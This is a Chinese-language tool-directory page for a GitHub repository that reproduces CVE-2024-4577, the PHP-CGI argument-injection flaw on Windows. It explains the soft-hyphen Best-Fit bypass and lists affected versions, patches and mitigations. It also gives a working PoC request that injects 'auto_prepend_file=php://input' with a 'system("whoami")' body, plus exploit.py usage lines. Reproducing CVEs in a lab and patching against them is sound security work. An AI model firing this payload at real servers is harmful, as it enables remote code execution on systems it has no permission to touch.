Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-4577-phpcgi_rce_reproduction — CVE复现:cve-2024-4577-phpcgi_rce_reproduction | Kitploit
工具/GitHubGitHub/razureink/cve-2024-4577-phpcgi_rce_reproduction
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制Payload 开发
GitHubrazureink/cve-2024-4577-phpcgi_rce_reproduction

cve-2024-4577-phpcgi_rce_reproduction

CVE复现:cve-2024-4577-phpcgi_rce_reproduction

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
161个月前尚未审核
分享

CVE-2024-4577 - PHP CGI 参数注入漏洞(Windows "WorstFit")

概述

CVE-2024-4577 是 Windows 上 PHP CGI 实现中的一个严重远程代码执行漏洞。它绕过了原始 CVE-2012-1823 的修复,利用了 Windows "最佳匹配"(Best-Fit)代码页转换功能,通过 CGI 查询字符串夹带命令行参数。

  • CVSS 评分: 9.8(严重)
  • 发现者: Orange Tsai(DEVCORE)
  • 类型: 操作系统命令注入 / 参数注入
  • 补丁日期: 2024 年 6 月 6 日

技术细节

当 PHP 以 CGI 模块运行(php-cgi.exe)时,它会将查询字符串解析为命令行参数。原始 CVE-2012-1823 的修复阻止了 -(连字符,0x2D)字符以防止参数注入。然而,在使用某些代码页(例如中文、日文、韩文)的 Windows 系统上,"最佳匹配"字符映射功能会将特定的 Unicode 字符转换为其最接近的 ASCII 等效字符。

关键的绕过使用 软连字符(soft-hyphen)字符(0xAD / U+00AD)。当请求在查询字符串中传递 %AD 且服务器区域使用 "最佳匹配" 代码页时,Windows 内部会将 0xAD 转换为 0x2D(连字符),从而允许攻击者绕过过滤器注入 PHP 参数。

例如:%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input 变为 。

-d allow_url_include=1 -d auto_prepend_file=php://input

受影响版本

  • PHP 8.1.* 低于 8.1.29
  • PHP 8.2.* 低于 8.2.20
  • PHP 8.3.* 低于 8.3.8

配置要求:

  • PHP 以 CGI 模式运行,使用 php-cgi.exe
  • Apache 网页服务器配置了 mod_cgi 或 mod_cgid
  • Windows 区域使用 "最佳匹配" 代码页(中文、日文、韩文等)

环境设置(XAMPP)

  1. 下载受影响的 Windows 版 PHP(例如 8.1.28)。
  2. 设置 XAMPP 或 Apache 以 CGI 模式运行:
    root@kitploit:~
    ScriptAlias /php-cgi/ "C:/php/"
    Action application/x-httpd-php-cgi /php-cgi/php-cgi.exe
    
  3. 验证目标:http://localhost/php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

使用方法

root@kitploit:~
python exploit.py -t http://target/php-cgi/php-cgi.exe -c "whoami"
python exploit.py -t http://target/php-cgi/php-cgi.exe --phpinfo

PoC

构造的 payload 通过查询字符串注入 PHP 配置指令:

root@kitploit:~
GET /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Host: target
Content-Type: application/x-www-form-urlencoded

<?php system("whoami"); ?>

缓解措施

  • 升级 PHP 至 8.3.8+、8.2.20+ 或 8.1.29+
  • 禁用 CGI 模式,改用 PHP-FPM、mod_php 或 FastCGI
  • 应用 IIS 或 Apache 重写规则,阻止对 php-cgi.exe 的请求
  • 仅在非 "最佳匹配" 代码页(例如英文)的系统上运行 PHP

参考资料

  • https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-en/
  • https://nvd.nist.gov/vuln/detail/CVE-2024-4577
  • https://www.php.net/ChangeLog-8.php
  • https://github.com/php/php-src/commit/2ae601d8d0d5b42891c6e15a28a14d1f44855f09
下载工具